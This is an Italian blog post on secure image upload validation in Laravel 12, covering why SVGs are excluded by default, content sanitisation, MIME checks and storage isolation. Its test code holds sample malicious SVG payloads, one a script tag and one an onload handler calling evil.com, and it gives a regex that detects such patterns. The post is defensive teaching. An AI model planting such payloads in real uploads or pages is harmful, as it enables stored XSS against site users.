---
title: "Sicurezza upload immagini in Laravel 12: perché la regola image esclude gli SVG e come validare i file in modo sicuro"
description: "Laravel 12 esclude gli SVG dalla regola image (PR #54331). Un SVG può contenere script, event handler e foreignObject per attacchi XSS. Ecco come validare gli upload."
canonical: "https://www.mauriziofonte.it/blog/post/sicurezza-upload-immagini-laravel-validazione-mime-svg-l12.html"
author: "Maurizio Fonte"
date: "2025-02-27T11:36:14+01:00"
modified: "2026-04-14T17:48:55+02:00"
section: "Sicurezza Applicazioni"
tags: ["Sicurezza Applicazioni", "Laravel"]
license: "Riuso e citazione consentiti con attribuzione e link alla fonte"
---

[Sicurezza Applicazioni](https://www.mauriziofonte.it/blog/cat/sicurezza-applicazioni.html) [Laravel](https://www.mauriziofonte.it/blog/cat/laravel.html)

# [Sicurezza upload immagini in Laravel 12: perché la regola image esclude gli SVG e come validare i file in modo sicuro](https://www.mauriziofonte.it/blog/post/sicurezza-upload-immagini-laravel-validazione-mime-svg-l12.html)

Giovedì 27 Febbraio 2025, alle 11:36 ![Sicurezza upload immagini in Laravel 12: perché la regola image esclude gli SVG e come validare i file in modo sicuro](https://www.mauriziofonte.it/image/001450200-sicurezza-upload-immagini-laravel-validazione-mime-svg-l12.jpg)

In un progetto per un'azienda del settore servizi digitali, un form di upload per i loghi aziendali accettava file SVG senza alcuna ispezione del contenuto - la regola `image` di Laravel 10 li considerava validi perché il MIME type `image/svg+xml` rientrava nella whitelist. Un SVG con `<script>alert(document.cookie)</script>` nel body passava la validazione e veniva renderizzato inline nelle pagine pubbliche, esponendo tutti gli utenti a stored XSS. L'[OWASP File Upload Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html) è esplicito: "There is no silver bullet in validating user content. Implementing a defense-in-depth approach is key."

## Perché Laravel 12 ha escluso gli SVG dalla regola `image` di default?

La [PR #54331](https://github.com/laravel/framework/pull/54331), mergiata il 24 gennaio 2025, ha rimosso `image/svg+xml` dalla whitelist della regola [`image`](https://laravel.com/docs/12.x/validation). L'autore (Sander Muller) ha analizzato oltre 500 repository pubblici su GitHub che usavano la regola `image` - quasi nessuno escludeva gli SVG esplicitamente. Il problema è strutturale: un SVG è un documento XML che può contenere tag `<script>`, event handler inline (`onload`, `onerror`, `onmouseover`), elementi `<foreignObject>` con HTML arbitrario, e URI `javascript:` negli attributi `href`. La validazione MIME non rileva nessuno di questi payload perché il file è tecnicamente un SVG valido.

Per chi necessita di accettare SVG, Laravel 12 richiede ora un opt-in esplicito: `image:allow_svg` o `File::image()->allowSvg()`. Ma il MIME check da solo resta insufficiente - serve ispezione del contenuto XML. La libreria [`enshrined/svg-sanitize`](https://github.com/darylldoyle/svg-sanitizer), usata anche da WordPress e Drupal, opera per whitelist di elementi e attributi permessi, rimuovendo tutto ciò che non è nella lista. Un caveat noto: `DOMDocument` di PHP non enumera gli attributi con namespace, quindi `onclick:custom` può eludere il sanitizer.

## Come implementare una validazione upload sicura in Laravel 12?

La strategia difensiva richiede tre livelli: tipo MIME (via `finfo`), estensione (come conferma, mai come unico check), e ispezione del contenuto per formati attivi come SVG. Per immagini raster, la regola `image` di Laravel 12 è sufficiente - accetta solo JPEG, PNG, GIF, BMP e WebP. Per SVG, serve un [Rule Object](https://www.mauriziofonte.it/blog/post/refactoring-validazione-laravel-rule-objects-l12-impresa.html) dedicato:

```php
use Illuminate\Contracts\Validation\ValidationRule;
use enshrined\svgSanitize\Sanitizer;

class SafeSvgContent implements ValidationRule
{
    public function validate(string $attribute, mixed $value, \Closure $fail): void
    {
        if (! $value instanceof \Illuminate\Http\UploadedFile) {
            return;
        }

        $content = $value->get();
        $sanitizer = new Sanitizer();
        $sanitizer->removeRemoteReferences(true);

        $clean = $sanitizer->sanitize($content);

        if ($clean === false) {
            $fail('Il file :attribute contiene SVG non valido o non sanitizzabile.');
            return;
        }

        /* Controllo aggiuntivo: DOMDocument non enumera attributi con namespace,
         * quindi verifichiamo manualmente i pattern pericolosi residui */
        if (preg_match('/(on\w+\s*=|javascript\s*:|<foreignObject)/i', $clean)) {
            $fail('Il file :attribute contiene elementi SVG non consentiti.');
        }
    }
}

/* Form Request con validazione differenziata per tipo */
public function rules(): array
{
    return [
        'profile_picture' => [
            'required',
            File::image()->max(2 * 1024)
                ->dimensions(Rule::dimensions()->maxWidth(2000)->maxHeight(2000)),
        ],
        'company_logo' => [
            'required', 'file', 'mimetypes:image/svg+xml', 'max:256',
            new SafeSvgContent(),
        ],
    ];
}
```

La regola `mimes` e `mimetypes` differiscono internamente: entrambe usano `finfo` (via Symfony's `MimeTypeGuesser`) per rilevare il MIME dal contenuto, ma `mimes` aggiunge un passo in più - mappa il MIME rilevato a un'estensione e confronta quella. `mimetypes` confronta direttamente il MIME, evitando false negative (problema [documentato](https://github.com/laravel/framework/issues/8866) per CSV e altri formati).

PHP `finfo_file()` usa `libmagic` per leggere i magic byte del file, ma un attaccante può [preporre byte validi](https://www.php.net/manual/en/function.mime-content-type.php) (es. `GIF89a` o `\xFF\xD8\xFF`) prima di codice PHP - il MIME risulta valido ma il file è un polyglot eseguibile. L'attacco [PolyShell](https://sansec.io/research/magento-polyshell) di marzo 2025 su Magento ha usato esattamente questa tecnica con polyglot GIF/PHP. Per questo `finfo` non è sufficiente come unica difesa: rinominare i file con hash (il metodo `store()` di Laravel lo fa di default), salvarli fuori dalla web root in `storage/app/private/`, e servire da un dominio separato con `Content-Security-Policy: default-src 'none'` sono i complementi necessari.

Il test della validazione upload usa `UploadedFile::fake()->createWithContent()` per simulare SVG malevoli e verificare che il Rule Object li rifiuti correttamente:

```php
use Illuminate\Http\UploadedFile;
use Illuminate\Support\Facades\Storage;

public function test_valid_jpeg_passes_image_validation(): void
{
    Storage::fake('public');
    $file = UploadedFile::fake()->image('avatar.jpg', 600, 400)->size(500);

    $response = $this->postJson('/api/profile-image', [
        'profile_picture' => $file,
    ]);

    $response->assertOk();
}

public function test_svg_with_script_tag_is_rejected(): void
{
    $svg = '<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>';
    $file = UploadedFile::fake()->createWithContent('logo.svg', $svg);

    $response = $this->postJson('/api/company-logo', [
        'company_logo' => $file,
    ]);

    $response->assertUnprocessable();
    $response->assertJsonValidationErrorFor('company_logo');
}

public function test_svg_with_event_handler_is_rejected(): void
{
    $svg = '<svg xmlns="http://www.w3.org/2000/svg" onload="fetch(\'https://evil.com\')"></svg>';
    $file = UploadedFile::fake()->createWithContent('icon.svg', $svg);

    $response = $this->postJson('/api/company-logo', [
        'company_logo' => $file,
    ]);

    $response->assertUnprocessable();
}
```

## Errori comuni nella sicurezza degli upload

Il primo errore è fidarsi dell'header `Content-Type` della request. Il browser lo imposta in base all'estensione del file, e un attaccante può sovrascriverlo - OWASP lo classifica come "client-supplied and trivially spoofable". La regola `mimetypes` di Laravel usa `finfo` sul contenuto del file, non l'header HTTP - ma solo se si usa `mimetypes`, non `mimes` da sola.

Il secondo è processare immagini uploadate con ImageMagick senza policy restrittive. [ImageTragick](https://imagetragick.com/) (CVE-2016-3714) - ancora nel [catalogo KEV di CISA](https://nvd.nist.gov/vuln/detail/CVE-2016-3714) - sfrutta i delegate di ImageMagick per eseguire comandi shell. Nel 2025, CVE-2025-57803 (CVSS 9.8) ha introdotto un integer overflow nell'encoder BMP sfruttabile via upload-and-convert. Il `policy.xml` di ImageMagick deve disabilitare i coder pericolosi (`MVG`, `MSL`, `HTTPS`, `URL`) con `rights="none"`.

Il terzo è renderizzare SVG inline nell'HTML senza sanitizzazione. Un SVG renderizzato con `<object>` o `<embed>` esegue JavaScript con i privilegi dell'origine; anche `<svg>` inline nel DOM ha accesso completo alla pagina. Solo `<img src="file.svg">` blocca l'esecuzione degli script. Per SVG uploadati, servire sempre con `Content-Disposition: attachment` o renderizzare solo via tag `<img>`.

Il quarto è validare le dimensioni solo in byte. Un'immagine da 100KB può avere risoluzione 10.000×10.000 pixel - la decompressione consuma gigabyte di RAM. La regola `dimensions` di Laravel con `maxWidth` e `maxHeight` previene questo vettore di denial-of-service.

La sicurezza degli upload è un problema di [defense-in-depth](https://www.mauriziofonte.it/blog/post/hardening-server-debian-ubuntu-applicativi-php-sicurezza-pmi.html) - nessun singolo check è sufficiente, ma la combinazione di validazione MIME, ispezione del contenuto, rinomina dei file, isolamento dello storage e header CSP copre i vettori documentati. I [test automatici](https://www.mauriziofonte.it/blog/post/test-automatici-codebase-php-legacy-senza-riscrittura.html) con `UploadedFile::fake()->createWithContent()` permettono di verificare che SVG malevoli vengano rifiutati. Per conoscere il mio approccio alla sicurezza applicativa in Laravel, visita [la mia pagina professionale](https://www.mauriziofonte.it/pages/about). Se il tuo applicativo accetta upload senza ispezione del contenuto o serve SVG inline senza sanitizzazione, [contattami per una consulenza dedicata](https://www.mauriziofonte.it/pages/contattami) - partiamo dall'audit delle regole di validazione e dalla configurazione dello storage.

Dall'articolo al lavoro vero

Questo problema di sicurezza, sul tuo sistema

Audit del codice e dei server, penetration test, adeguamento NIS2 e risposta agli incidenti.

[Vedi come lavoro sulla sicurezza](https://www.mauriziofonte.it/servizi/consulenza-cybersecurity-nis2.html) Ultima modifica: Martedì 14 Aprile 2026, alle 17:48 [« Articolo precedenteEvent discovery in Laravel 12: da EventServiceProvider a auto-discovery per listener disaccoppiati e testabili26 Febbraio 2025](https://www.mauriziofonte.it/blog/post/modernizzare-gestione-eventi-laravel-aseventlistener-l12-refactoring.html)[Articolo successivo »L'helper once() in Laravel 12: memoizzazione per-request con WeakMap al posto di proprietà statiche e cache forzata28 Febbraio 2025](https://www.mauriziofonte.it/blog/post/ottimizzare-calcoli-ripetuti-laravel-refactoring-helper-once-l12.html)

### Articoli correlati a Sicurezza upload immagini in Laravel 12: perché la regola image esclude gli SVG e come validare i file in modo sicuro

- [Sicurezza dei file upload in Symfony: validazione profonda e archiviazione sicura](https://www.mauriziofonte.it/blog/post/sicurezza-file-upload-symfony-validazione-profonda-archiviazione.html)

  In un assessment su un portale Symfony per la gestione documentale di un'azienda legale, ho trovato upload senza validazione del MIME reale: · 8 Gennaio 2026

  ![Sicurezza dei file upload in Symfony: validazione profonda e archiviazione sicura](https://www.mauriziofonte.it/image/002910070-sicurezza-file-upload-symfony-validazione-profonda-archiviazione.jpg)
- [XSS stored nel 2025: come identificarlo, sfruttarlo e costruire difese efficaci in PHP](https://www.mauriziofonte.it/blog/post/xss-stored-2025-identificazione-sfruttamento-difese-php.html)

  Lo XSS stored che ho trovato in un CMS proprietario di un cliente media non era ovvio: si attivava solo in un campo amministrativo raramente · 16 Ottobre 2025

  ![XSS stored nel 2025: come identificarlo, sfruttarlo e costruire difese efficaci in PHP](https://www.mauriziofonte.it/image/003690070-xss-stored-2025-identificazione-sfruttamento-difese-php.jpg)
- [Validazione in Laravel 12: da closure inline a Rule Objects con ValidationRule per regole testabili, riutilizzabili e type-safe](https://www.mauriziofonte.it/blog/post/refactoring-validazione-laravel-rule-objects-l12-impresa.html)

  L'interfaccia ValidationRule, introdotta in Laravel 10, ha sostituito la vecchia Rule con passes /message e InvokableRule, entrambe deprecate. · 21 Febbraio 2025

  ![Validazione in Laravel 12: da closure inline a Rule Objects con ValidationRule per regole testabili, riutilizzabili e type-safe](https://www.mauriziofonte.it/image/001410070-refactoring-validazione-laravel-rule-objects-l12-impresa.jpg)
- [Validazione dei dati in ingresso in applicazioni Laravel: oltre le regole base per la robustezza dei gestionali](https://www.mauriziofonte.it/blog/post/laravel-validazione-dati-input-custom-rule-form-request-sicurezza-gestionali.html)

  Negli applicativi gestionali per PMI, la validazione dei dati in ingresso è una prima linea di difesa spesso sottovalutata. Un semplice set di · 20 Gennaio 2025

  ![Validazione dei dati in ingresso in applicazioni Laravel: oltre le regole base per la robustezza dei gestionali](https://www.mauriziofonte.it/image/001130070-laravel-validazione-dati-input-custom-rule-form-request-sicurezza-gestionali.jpg)
- [Header Expires per file htaccess](https://www.mauriziofonte.it/blog/post/header-expires-htaccess.html)

  Configurare il caching del browser via .htaccess è ancora una leva di performance reale, ma la ricetta "ExpiresByType, un mese per immagini, · 1 Aprile 2026

  ![Header Expires per file htaccess](https://www.mauriziofonte.it/image/000400070-header-expires-htaccess.jpg)

---

**Programmatore PHP Torino**, **Ingegnere del Software** e **Cyber Security Specialist** con oltre 20 anni di esperienza nell'implementazione di soluzioni avanzate. Eseguo **porting di vecchi ambienti PHP** verso release più moderne (7.x o 8.x), mi occupo di **infrastrutture web sicure** e garantisco procedure di **hardening** e **gestione dei rischi** in linea con gli standard internazionali.  
Con la mia attività da *consulente freelance*, offro supporto a imprese e reparti IT che necessitano di **refactoring**, **messa in sicurezza** e **manutenzione evolutiva** di piattaforme web. Mi occupo di analisi del codice, identificazione delle vulnerabilità e implementazione di **best practice** per la protezione di dati e servizi critici. L'obiettivo è garantire un ambiente digitale resiliente, con un codice sorgente affidabile e manutenibile.

---

## Autore

**Maurizio Fonte**, ingegnere informatico (laurea 2008), consulente IT senior e backend engineer. Nel settore IT dal 2005, libero professionista con P.IVA dal 2014. Progetta e mantiene backend di produzione e pipeline AI private per aziende italiane.

Sull'AI lavora con casi di produzione misurabili, non con demo: RAG su documentazione italiana con pgvector (HNSW/IVFFlat), LLM self-hosted (Ollama, Mistral, Qwen) per data residency europea, MCP server custom in PHP, governance EU AI Act (Annex III, art. 16, FRIA) e sicurezza degli agent (OWASP LLM Top 10, prompt injection, excessive agency). I benchmark citati negli articoli sono eseguiti direttamente sull'hardware e sul corpus dell'autore.

## Perché questa fonte è attendibile

- **Esperienza diretta, non rassegna di terzi.** I contenuti nascono da lavoro di produzione e benchmark propri, con metriche misurate (es. un RAG self-hosted su 2.400 documenti che ha portato il tempo medio di risposta interno da 14 minuti a 90 secondi, su 60 query campione).
- **Verificabilità.** Ogni claim tecnico rimanda a fonti primarie (paper, CVE, documentazione ufficiale); il blog è un laboratorio di ricerca applicata pubblico.
- **Onestà metodologica.** Ogni soluzione dichiara anche quando NON va usata. "Production-grade, non demo-grade".

## Entità e contatti (verificabili)

Maurizio Fonte, Torino, Italia. P.IVA IT11396570019. REA TO-1331015 (Camera di Commercio di Torino).  
GitHub: https://github.com/mauriziofonte  
LinkedIn: https://www.linkedin.com/in/mauriziofonte  
Profilo: https://www.mauriziofonte.it/pages/about

---

## Come citare

> Maurizio Fonte, "Sicurezza upload immagini in Laravel 12: perché la regola image esclude gli SVG e come validare i file in modo sicuro", mauriziofonte.it, 2025. https://www.mauriziofonte.it/blog/post/sicurezza-upload-immagini-laravel-validazione-mime-svg-l12.html

Pubblicato: 2025-02-27 · Aggiornato: 2026-04-14.

**Licenza:** riuso e citazione consentiti con attribuzione esplicita e link alla fonte.
